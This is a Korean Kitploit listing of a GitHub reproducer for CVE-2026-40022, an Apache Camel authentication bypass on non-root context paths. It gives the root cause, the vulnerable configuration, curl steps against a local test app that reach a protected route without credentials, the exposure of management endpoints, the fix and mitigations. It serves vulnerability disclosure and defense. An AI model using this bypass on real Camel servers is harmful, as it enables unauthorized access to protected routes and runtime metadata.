Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40022 — CVE-2026-40022 재현기: 루트가 아닌 컨텍스트 경로에서 Apache Camel camel-platform-http-main 인증 우회 | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-40022
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationMisconfiguration
GitHuboscerd/cve-2026-40022

CVE-2026-40022

CVE-2026-40022 재현기: 루트가 아닌 컨텍스트 경로에서 Apache Camel camel-platform-http-main 인증 우회

저장소 보기
22개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

camel-platform-http-main 비루트 컨텍스트 경로에서의 인증 우회 (CVE-2026-40022)

이 프로젝트는 Apache Camel의 camel-platform-http-main 컴포넌트(Camel main 런타임의 내장 HTTP/관리 서버)에서 발생하는 인증 우회를 시연하며, CVE-2026-40022로 추적됩니다. 인증이 활성화되고 비루트 컨텍스트 경로(예: /api 또는 /admin)가 구성된 경우, 인증 핸들러는 정확한 컨텍스트 경로만 포함하므로 하위 경로로의 인증되지 않은 요청이 보호된 라우트와 관리 엔드포인트에 도달합니다.

권고: https://camel.apache.org/security/CVE-2026-40022.html

취약점 요약

속성값
컴포넌트camel-platform-http-main (Camel main 런타임 내장 HTTP/관리 서버)
영향 받는 클래스BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer
근본 원인authenticationPath가 설정되지 않으면 camel.server.path에서 파생됩니다. Vert.x 서브 라우터 마운팅 모델에서 인증 핸들러는 정확한 컨텍스트 경로만 일치시키며 하위 경로는 일치시키지 않습니다
CWECWE-287: 부적절한 인증 (인증 우회)
영향인증되지 않은 접근으로 보호된 비즈니스 라우트 및 관리 엔드포인트에 도달 (예: /observe/info 런타임 메타데이터 노출)
영향 받는 버전4.14.1 이상 4.14.6 미만, 4.15.0 이상 4.18.2 미만
수정된 버전4.14.6, 4.18.2, 4.20.0
신고자Jihang Yu
PRapache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x)

기술 세부 사항

BasicAuthenticationConfigurer(및 JWTAuthenticationConfigurer)는 인증 핸들러가 보호하는 경로를 properties.getAuthenticationPath()에서 확인하며, 명시적으로 설정되지 않은 경우 properties.getPath()(camel.server.path 컨텍스트 경로)로 폴백합니다:

root@kitploit:~
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

Vert.x 서버는 <contextPath>*에 서브 라우터를 마운트하고 확인된 경로에 해당 서브 라우터 내부에 인증 핸들러를 등록합니다. 영향을 받는 버전에서 확인된 경로는 컨텍스트 경로 자체이므로, 이미 /api에 마운트된 서브 라우터 기준으로 인증 핸들러는 모든 하위 경로가 아닌 /api/api와 일치하게 됩니다. 결과는 다음과 같습니다:

  • /api/api 는 401 챌린지가 발생함 — 핸들러가 존재하지만 범위가 잘못 지정됨
  • /api/hello (실제 비즈니스 라우트) 는 챌린지가 발생하지 않음 → 자격 증명 없이 제공됨

이 수정으로 resolveAuthenticationPath가 /*를 반환하여 핸들러가 서브 라우터의 모든 하위 경로를 포함하게 됩니다.

설정

application.properties — 인증이 활성화되고 authenticationPath가 설정되지 않은 비루트 컨텍스트 경로:

root@kitploit:~
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

라우트는 /api/hello에서 제공됩니다.

사전 요구 사항

  • Java 17+
  • Maven 3.8+

외부 서비스나 Docker 컨테이너는 필요하지 않습니다 — 취약한 HTTP 서버는 앱 자체입니다.

재현 단계

1단계: 빌드 및 시작

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

2단계: 인증이 활성화되어 있음을 확인

root@kitploit:~
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

BasicAuthHandler는 활성화되어 있지만 — 정확한 컨텍스트 경로로 범위가 잘못 지정되어 있습니다.

3단계: 우회 — 자격 증명 없이 보호된 라우트에 도달

root@kitploit:~
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (this is a PROTECTED business route)

수정된 버전(4.14.6 / 4.18.2 / 4.20.0)에서는 401 Unauthorized를 반환합니다.

4단계: 자격 증명으로도 정상 동작 (의도된 대로)

root@kitploit:~
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

영향: 관리 엔드포인트 노출

동일한 결함이 관리 서버(camel.management.path, 예: /admin)에도 적용됩니다. /admin/observe/info 같은 하위 경로로의 인증되지 않은 요청이 관리 엔드포인트에 도달하여 런타임 메타데이터(OS 사용자, 작업/홈 디렉터리, 프로세스 ID, JVM 및 OS 정보)를 노출할 수 있습니다.

익스플로잇 조건

  1. camel-platform-http-main을 사용하는 Camel main 런타임.
  2. 서버 또는 관리 서버에서 인증 활성화.
  3. 비루트 컨텍스트 경로 (camel.server.path / camel.management.path).
  4. camel.server.authenticationPath / camel.management.authenticationPath 명시적으로 설정되지 않음.

권장 수정

4.14.6 / 4.18.2 / 4.20.0으로 업그레이드하세요. 수정(resolveAuthenticationPath)은 인증 핸들러가 모든 하위 경로를 포함하도록 합니다:

root@kitploit:~
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // was: the exact context path
}

완화 조치

업그레이드 전까지:

  1. camel.server.authenticationPath = /*(및 camel.management.authenticationPath = /*)를 명시적으로 설정하여 핸들러가 모든 하위 경로를 포함하게 합니다.
  2. 관리 서버를 신뢰할 수 있는 네트워크에서만 실행하세요.

파일

root@kitploit:~
CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Camel main runtime entry point
    │   └── HelloRoute.java           # a protected platform-http route (/api/hello)
    └── resources/
        ├── application.properties    # non-root path + auth enabled (the vulnerable config)
        └── auth.properties           # basic-auth user (camel / propertiesPass)

고지 사항

이 재현 도구는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드